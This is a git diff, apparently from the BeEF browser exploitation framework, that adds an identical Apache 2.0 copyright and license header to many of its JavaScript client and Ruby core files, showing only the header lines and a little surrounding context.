a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js index 9c5545f28..a56d9de6e 100644 --- a/core/main/client/browser/cookie.js +++ b/core/main/client/browser/cookie.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.browser.cookie * diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 92f59178c..5bef972a2 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.dom * diff --git a/core/main/client/encode/base64.js b/core/main/client/encode/base64.js index b86a04147..8d6725090 100644 --- a/core/main/client/encode/base64.js +++ b/core/main/client/encode/base64.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662 beef.encode = {}; diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js index 9231ba877..d5f0a0109 100644 --- a/core/main/client/encode/json.js +++ b/core/main/client/encode/json.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/ beef.encode.json = { diff --git a/core/main/client/geolocation.js b/core/main/client/geolocation.js index 2eb348d6f..fbab37a68 100644 --- a/core/main/client/geolocation.js +++ b/core/main/client/geolocation.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.geolocation * diff --git a/core/main/client/init.js b/core/main/client/init.js index 34bb5797a..630daa6eb 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// // if beef.pageIsLoaded is true, then this JS has been loaded >1 times // and will have a new session id. The new session id will need to know diff --git a/core/main/client/lib/evercookie.js b/core/main/client/lib/evercookie.js index 567703b3c..e0c36b5f3 100644 --- a/core/main/client/lib/evercookie.js +++ b/core/main/client/lib/evercookie.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * evercookie 0.4 (10/13/2010) -- extremely persistent cookies * diff --git a/core/main/client/lib/jquery-1.5.2.min.js b/core/main/client/lib/jquery-1.5.2.min.js index f78f96a12..58960f861 100644 --- a/core/main/client/lib/jquery-1.5.2.min.js +++ b/core/main/client/lib/jquery-1.5.2.min.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * jQuery JavaScript Library v1.5.2 * http://jquery.com/ diff --git a/core/main/client/logger.js b/core/main/client/logger.js index 1761cabf9..4e6242b8f 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.logger * diff --git a/core/main/client/net.js b/core/main/client/net.js index 6a611702e..8bd4700e7 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.net * diff --git a/core/main/client/net/local.js b/core/main/client/net/local.js index d47de32fd..f486985c9 100644 --- a/core/main/client/net/local.js +++ b/core/main/client/net/local.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.net.local * diff --git a/core/main/client/net/portscanner.js b/core/main/client/net/portscanner.js index 5bccd50f6..8a6980cb8 100644 --- a/core/main/client/net/portscanner.js +++ b/core/main/client/net/portscanner.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.net.portscanner * diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 62caa61cc..14b9372b6 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.net.requester * diff --git a/core/main/client/os.js b/core/main/client/os.js index bd1113ba1..0318645d0 100644 --- a/core/main/client/os.js +++ b/core/main/client/os.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.os = { ua: navigator.userAgent, diff --git a/core/main/client/session.js b/core/main/client/session.js index 8f159a472..cf5128158 100644 --- a/core/main/client/session.js +++ b/core/main/client/session.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @literal object: beef.session * diff --git a/core/main/client/updater.js b/core/main/client/updater.js index a33d50a17..fafc07afb 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * @Literal object: beef.updater * diff --git a/core/main/command.rb b/core/main/command.rb index d48839ec7..7c87f43e6 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core diff --git a/core/main/configuration.rb b/core/main/configuration.rb index 7e34b9ca4..07969bd53 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core # diff --git a/core/main/constants/browsers.rb b/core/main/constants/browsers.rb index 7c596f66b..4b1a29411 100644 --- a/core/main/constants/browsers.rb +++ b/core/main/constants/browsers.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Constants diff --git a/core/main/constants/commandmodule.rb b/core/main/constants/commandmodule.rb index ddefd4841..4aeed9791 100644 --- a/core/main/constants/commandmodule.rb +++ b/core/main/constants/commandmodule.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Constants diff --git a/core/main/constants/distributedengine.rb b/core/main/constants/distributedengine.rb index c83d280af..6faa4ea08 100644 --- a/core/main/constants/distributedengine.rb +++ b/core/main/constants/distributedengine.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Constants diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 1e26bf70c..968346c75 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Constants diff --git a/core/main/crypto.rb b/core/main/crypto.rb index a62c9e1cf..f6bf6b5de 100644 --- a/core/main/crypto.rb +++ b/core/main/crypto.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core # diff --git a/core/main/distributed_engine/models/rules.rb b/core/main/distributed_engine/models/rules.rb index eb7a792f9..8884a1cbb 100644 --- a/core/main/distributed_engine/models/rules.rb +++ b/core/main/distributed_engine/models/rules.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module DistributedEngine diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 69ba61009..47905d2e0 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Handlers diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index ca04d89af..e01700f73 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Handlers diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 205936956..76676214b 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Handlers diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index d999c9919..a75276bd5 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Handlers diff --git a/core/main/logger.rb b/core/main/logger.rb index 6fa6da0c6..604d3428c 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core # diff --git a/core/main/migration.rb b/core/main/migration.rb index e7f973cef..1bebdc2c0 100644 --- a/core/main/migration.rb +++ b/core/main/migration.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core # diff --git a/core/main/models/command.rb b/core/main/models/command.rb index 6c89b8c5e..1acd63871 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb index 6c1f6d3cd..a819c3701 100644 --- a/core/main/models/commandmodule.rb +++ b/core/main/models/commandmodule.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/dynamiccommandinfo.rb b/core/main/models/dynamiccommandinfo.rb index 042bdcc71..dc9793d33 100644 --- a/core/main/models/dynamiccommandinfo.rb +++ b/core/main/models/dynamiccommandinfo.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/dynamicpayloadinfo.rb b/core/main/models/dynamicpayloadinfo.rb index 6c5f75cd1..4834d914b 100644 --- a/core/main/models/dynamicpayloadinfo.rb +++ b/core/main/models/dynamicpayloadinfo.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/dynamicpayloads.rb b/core/main/models/dynamicpayloads.rb index 8678258f4..0ff1444f7 100644 --- a/core/main/models/dynamicpayloads.rb +++ b/core/main/models/dynamicpayloads.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/hookedbrowser.rb b/core/main/models/hookedbrowser.rb index 2dda1e811..7539d382d 100644 --- a/core/main/models/hookedbrowser.rb +++ b/core/main/models/hookedbrowser.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/log.rb b/core/main/models/log.rb index f34611186..d2674c0db 100644 --- a/core/main/models/log.rb +++ b/core/main/models/log.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/optioncache.rb b/core/main/models/optioncache.rb index 47292ca30..729bf9306 100644 --- a/core/main/models/optioncache.rb +++ b/core/main/models/optioncache.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/result.rb b/core/main/models/result.rb index 4baf7958b..70d86ffd0 100644 --- a/core/main/models/result.rb +++ b/core/main/models/result.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/models/user.rb b/core/main/models/user.rb index a4268670e..551f684a5 100644 --- a/core/main/models/user.rb +++ b/core/main/models/user.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb index cba0c6c8f..362af9612 100644 --- a/core/main/network_stack/api.rb +++ b/core/main/network_stack/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module NetworkStack diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 85d07ed5b..3fd219c36 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module NetworkStack diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index e8324ab37..955345e05 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the 